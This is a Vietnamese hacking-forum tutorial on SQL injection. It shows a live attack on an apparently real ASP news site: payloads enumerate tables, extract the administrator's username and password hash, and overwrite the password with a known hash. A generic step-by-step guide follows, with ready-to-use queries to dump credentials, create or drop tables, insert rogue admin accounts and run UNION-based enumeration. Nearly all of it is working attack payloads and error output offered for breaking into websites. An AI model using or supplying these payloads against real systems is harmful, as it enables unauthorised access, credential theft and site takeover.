Hơm nay, theo u cầu 1 số bạn, mình làm cái tut này, rất mong sự ủng hộ của các bạn :
84:
ok, victim:
Code:
/>ID=615
cái này bị lỗi Advanced sql injection, tùy theo lỗi mà bạn áp dụng nhá :18:
thui, bắt đầu nào
link lỗi:
Code:
/>ID=615'
phun lỗi nè :
Code:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ''.
/thitruongdatviet/chitiettintuc.asp, line 50
ok, ta bắt đầu khai thác
Code:
; begin declare @emiu varchar(8000) set @emiu=':' select @emiu=@emiu
%2btable_name%2b'/' from information_schema.tables select @emiu as id
into hoangtan end--
với câu query trên, nó sẽ gom hết table vào 1 table có tên là hoangtan
áp dụng
Code:
/>ID=615; begin declare @emiu varchar(8000) set @emiu=':' select
@emiu=@emiu%2btable_name%2b'/' from information_schema.tables select
@emiu as id into hoangtan end--
nếu nó ko hiện ra bất kì lỗi jì, coi như bạn đã thành cơng bước đầu
tiếp theo mình sẽ cho hiện table trong table hoangtan
Code:
or 1=(select id from hoangtan)--
áp dụng
Code:
/>ID=615or 1=(select id from hoangtan)--
jì thế này, hiện ra hết table rồi :73:
giờ ta bắt đầu đoán table chứa info login nhá, tân đoán ở table amdin, thử luôn :61:
Code:
/>ID=615and 1 = convert(int,(select top 1 column_name from
information_schema.columns where table_name =('ADMIN') and column_name
not in ('')))--sp_password
đoạn query trên có nghĩa là hiện các column của table này
column đầu tiên đây nè
Code:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'User_Name' to a column of
data type int.
/thitruongdatviet/chitiettintuc.asp, line 50
ta có User_Name là column đầu tiên :73:
tiếp thơi
Code:
/>ID=615and 1 = convert(int,(select top 1 column_name from
information_schema.columns where table_name =('ADMIN') and column_name
not in ('User_Name')))--sp_password
column thứ 2 :61:
Code:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'PassWord' to a column of
data type int.
/thitruongdatviet/chitiettintuc.asp, line 50
ai thích lấy hết column thì lấy, tân cần 2 cái này thui :29::83:
giờ ta get info trong column nhá
Code:
/>ID=615and 1 = convert(int,(select top 1 User_Name from ADMIN))-sp_password
hì hì, lồi ra nhá
Code:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'hoanglienson' to a column of
data type int.
/thitruongdatviet/chitiettintuc.asp, line 50
username : hoanglienson
mị típ pass nào
Code:
/>ID=615and 1 = convert(int,(select top 1 PassWord from ADMIN))-sp_password
pass nè :95:
Code:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value
'40c72ddbf251c6ccaab3869d2b97690fd206ad3b808ce993ce6ca2c5fd602721' to a
column of data type int.
/thitruongdatviet/chitiettintuc.asp, line 50
pass bị mã hóa rồi, làm sao đây :19:
thui, ta tiếp tục update pass chơi :61:
Code:
update table set column ='pass hash' where column ='ten tim dc'--
tự tìm hiểu nhá :7:
Code:
/>ID=615update ADMIN set PassWord ='e10adc3949ba59abbe56e057f20f883e'
where User_Name ='hoanglienson'--
nó hok báo lỗi, vậy là đã thành cơng, giờ tìm link đăng nhập thui, tân làm tới dây nhá :40:
tut by hoangtan2312
Hướng dẫn hack cơ bản lỗi SQL
Các bạn tìm 1 cái web bị dính lỗi SQL:
victim: ví dụ thơi
Code:
/>
(hack=cách truy vấn)(query)
Đầu tiên
Bước 1: get table_name
Các bạn gắn đoạn mã sau vào sau site bị lỗi
Code:
and 1=convert(int,(select top 1 table_name from
information_schema.tables where table_name not in('')))--sp_password
lưu ý dấu ' có thể có hoặc ko
-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:
Code:
and 1=convert(int,(select top 1 table_name from
information_schema.tables where table_name not in('table1')))-sp_password
cư như thế cho đến khi nào nó ra cái table_name chứa thơng tin admin
vd:tbladmin,admin,user,tbuser..
Bước 2: Get column
Tìm được cái table_name chưa thơng tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin
Code:
and 1=convert(int,(select top 1 column_name from
information_schema.columns where table_name='table1'))--sp_password
vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:
Code:
and 1=convert(int,(select top 1 column_name from
information_schema.columns where table_name='table1' and column_name not
in('username')))--sp_password
Nếu tìm được username/password trong table1 thì ta check pass của nó
Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password
Code:
and 1=convert(int,(select top 1 username%2b'/'%2bpassword from
table1))--sp_password
Xong rồi nó ra pass rồi đó
Giờ chỉ việc tìm link admin của nó: get link admin có thê sử dụng tool scan của pác X
1 số query khác:
-Tạo 1 table_name:
Code:
;drop table thanggiangho create table thanggiangho (id int
identity,hce_group varchar(99)) insert into thanggiangho select
table_name from information_schema.tables--sp_password
-Thay đổi pass admin: lấy vd trên nếu như username : thang/pass:giangho
Code:
;UPDATE table1 SET password = 'pass mới' WHERE username='thang'--
-Chèn 1 record mới vào table
Code:
;INSERT INTO 'table1' ('ID', 'username', 'password', 'details') VALUES
(99,'thang2','giangho2','NA')--
-Tìm tất cả các table có liên quan như: admin,user,member,account,login...<-- tia của pác
ML
Code:
and 1 = convert(int,(select top 1 table_name from
information_schema.tables where table_name like '%admin%' or table_name
like '%Member%' or table_name like '%User%' or table_name like '%account
%' or table_name like '%login%'))--sp_password
Update by ML:
Code:
and 1 = convert(int,(select top 1 table_name from
information_schema.tables where table_name not in ('') and (table_name
like '%25admin%25' or table_name like '%25Member%25' or table_name like
'%25User%25' or table_name like '%25account%25' or table_name like
'%25login%25')))--sp_password
Bổ sung thêm:
-Lấy tất cả các table_name:
Code:
; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp
%2btable_name%2b'/' from information_schema.tables select @temp as id
into thanggiangho end--
Code:
or 1=(select id from thanggiangho)--
Code:
; drop table thanggiangho--
-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin
Code:
; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp
%2bcolumn_name%2b'/' from information_schema.columns where
table_name='tbadmin' select @temp as id into thanggiangho end--
Code:
or 1=(select id from thanggiangho)--
tới đây thôi nha
/>option=com_adress&Itemid=31&exe=View&pid=82%20UniOn%20SeLeCt
%201,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11,12%20from
%20information_schema.tables--&publish=1